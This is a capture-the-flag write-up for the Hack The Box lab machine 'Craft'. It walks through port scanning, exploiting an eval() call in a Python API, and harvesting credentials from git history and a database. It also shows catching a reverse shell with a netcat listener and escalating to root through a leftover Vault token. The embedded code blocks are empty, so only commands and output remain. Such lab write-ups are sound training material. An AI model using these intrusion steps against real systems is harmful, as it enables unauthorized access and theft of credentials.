Writeup: hackthebox.eu - Craft
Writeup on the challenge box “Craft” from hackthebox.eu
Recon
As usual, we started out by scanning for open ports:
root@kali:~# nmap -sV -p- 10.10.10.110
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-23 06:33 UTC
Nmap scan report for 10.10.10.110
Host is up (0.018s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
443/tcp open ssl/http nginx 1.15.8
5355/tcp filtered llmnr
6022/tcp open ssh (protocol 2.0)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.70%I=7%D=9/23%Time=5D886761%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.50 seconds
After we’ve enumerated the listening ports, we began browsing the website on TCP port 443.
A landing page greeted us and provided us with two distinct links on two different subdomains, api
and gogs
.
But before being able to access them we had to add them to our hosts file.
echo '10.10.10.110 craft.htb api.craft.htb gogs.craft.htb' >> /etc/hosts
Inspecting Gogs
As soon as we’ve reached gogs.craft.htb
, we started looking for publicly accessible git repositories.
Sure enough we found the repository for the API, exposed at api.craft.htb
.
After just a few minutes of browsing the source code, we found a major flaw in
the brew
endpoint used to add a new beer.
The vulnerable endpoint is located at craft_api/api/brew/endpoints/brew.py
:
|
|
The use of eval
stood out like a sore thumb, it evaluates user controlled
input (POST body field abv
). The only thing which held us back from abusing
this endpoint, was the fact that we first had to authenticate in order to use the API,
as indicated by the @auth.auth_required
decorator.
We consulted the source once again to find out what kind of authentication we
were dealing with. craft_api/api/auth/endpoints/auth.py
read:
|
|
We found our answer, we had to provide a username and password to authenticate with basic-auth. The response should provide us with a JWT token.
The auth_required
decorator, which was preventing us from consuming the
/brew
endpoint, read:
|
|
The auth_required
decorator checks for a valid X-Craft-Api-Token
header value.
After gaining this insight we dug around in the git commits to search for API credentials. A few minutes later, after inspecting each commit, we found what we were looking for:
root@kali:~/craft-api# git show a2d28ed1554adddfcfb845879bfea09f976ab7c1
commit a2d28ed1554adddfcfb845879bfea09f976ab7c1
Author: dinesh <dinesh@craft.htb>
Date: Wed Feb 6 23:18:51 2019 -0500
Cleanup test
diff --git a/tests/test.py b/tests/test.py
index 40d5470..9b0e2e2 100644
--- a/tests/test.py
+++ b/tests/test.py
@@ -3,7 +3,7 @@
import requests
import json
-response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
We immediately tried to authenticate as dinesh
.
Luckily the credentials were valid and granted us access to the API.
A few moments later we built a quick and dirty Python script to authenticate
and invoke the vulnerable endpoint to spawn a reverse shell.
|
|
To capture the incoming reverse shell, we started the netcat listener and triggered the exploit.
root@kali:~/craft-api# nc -lvp 9999
listening on [any] 9999 ...
connect to [10.10.12.139] from craft.htb [10.10.10.110] 49522
/bin/sh: can't access tty; job control turned off
/opt/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
We’ve gained an initial foothold on the box. After taking a look around we determined that we ended up inside a docker container.
Going deeper
It took a while for us to figure out where to go from here. After breaching the web server we had to somehow move laterally to carry on, as the docker container did not contain anything that spiked our interest.
After re-reading the source code we realized we completely ignored the database, which is
used to store the users and brews for the API. The dbtest.py
script within
the repository gave us some hints on how to access the database:
|
|
The settings
module should contain the credentials to access the database.
After we realized settings.py
was present in .gitignore
we used the
still established reverse shell to search for the file. A few seconds later we found it
located under /opt/app/craft_api/settings.py
:
|
|
To make our lives easier we copied dbtest.py
and modified it to read out all
users from the configured database:
|
|
Then we executed the modified script and got back the credentials:
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'},
{'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'},
{'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
The obtained credentials granted us access to each user’s Gogs account and
their respective repositories. After going through each user’s account, we
found Gilfoyle’s private repository called craft-infra
, the goldmine we were
hoping for.
The docker-compose.yml
file gave us a great overview of the setup we found
ourselves in:
|
|
More importantly, we pulled a copy of the SSH public- and private key which were carelessly committed as well. We attempted to connect to the target host:
root@kali:~# ssh -i id_rsa gilfoyle@craft.htb
The authenticity of host 'craft.htb (10.10.10.110)' can't be established.
ECDSA key fingerprint is SHA256:sFjoHo6ersU0f0BTzabUkFYHOr6hBzWsSK0MK5dwYAw.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'craft.htb,10.10.10.110' (ECDSA) to the list of known hosts.
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Enter passphrase for key 'id_rsa':
Bummer, the SSH key required a password.
We didn’t think that brute forcing the SSH credentials was necessary at all because it’s usually very slow and rarely a part in CTF challenges we’ve seen before. So instead of overthinking it, we went ahead and re-use the password we’ve previously obtained from the database.
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 23 09:22:58 2019 from 10.10.12.159
gilfoyle@craft:~$ id
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)
And sure enough, we gained access as the user account gilfoyle
.
The user.txt
flag was waiting for us as well, so we picked it up.
gilfoyle@craft:~$ ls -ltha
total 36K
drwx------ 4 gilfoyle gilfoyle 4.0K Feb 9 2019 .
-r-------- 1 gilfoyle gilfoyle 33 Feb 9 2019 user.txt
-rw-r--r-- 1 gilfoyle gilfoyle 634 Feb 9 2019 .bashrc
drwx------ 2 gilfoyle gilfoyle 4.0K Feb 9 2019 .ssh
-rw------- 1 gilfoyle gilfoyle 2.5K Feb 9 2019 .viminfo
drwxr-xr-x 3 root root 4.0K Feb 9 2019 ..
drwx------ 3 gilfoyle gilfoyle 4.0K Feb 9 2019 .config
-rw------- 1 gilfoyle gilfoyle 36 Feb 9 2019 .vault-token
-rw-r--r-- 1 gilfoyle gilfoyle 148 Feb 8 2019 .profile
gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4
Root Flag
Our final challenge is the root.txt
flag. As you might remember, the
docker-compose.yml
file indicated that there’s only one docker container we
haven’t visited yet - the vault.
After we picked up the user flag we noticed the .vault-token
file laying around.
This was our way forward. We read the contents of the file:
gilfoyle@craft:~$ cat .vault-token
f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
We went back to the repository to gather more information about the configuration of the vault. It turned out the SSH secrets engine was enabled:
|
|
With this, we had a good idea of how to proceed. We suspected we had to use
vault ssh
to connect to a host as the root
user. Referring back to the
docker-compose.yml
file, we determined that none of the containers exposed an
SSH port which can be used to gain a shell. Which left us with only one way
forward, SSH into localhost.
We invoked vault ssh
and were presented with the OTP code which we simply
had to copy and paste:
gilfoyle@craft:~$ vault ssh root@localhost
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 2ea20f14-ba74-e89c-6743-55d00e51beac
. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/
Password:
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 27 04:53:14 2019
root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)
We got in and captured the root.txt
flag:
root@craft:~# ls -lth
total 4.0K
-r-------- 1 root root 33 Feb 9 2019 root.txt
root@craft:~# cat root.txt
831d64ef54d92c1af795daae28a11591
Shouts & Greetz
- Thanks to the makers of hackthebox.eu for an awesome CTF platform and training ground
- Thanks goes out to rotarydrone who created the box - we had a blast solving it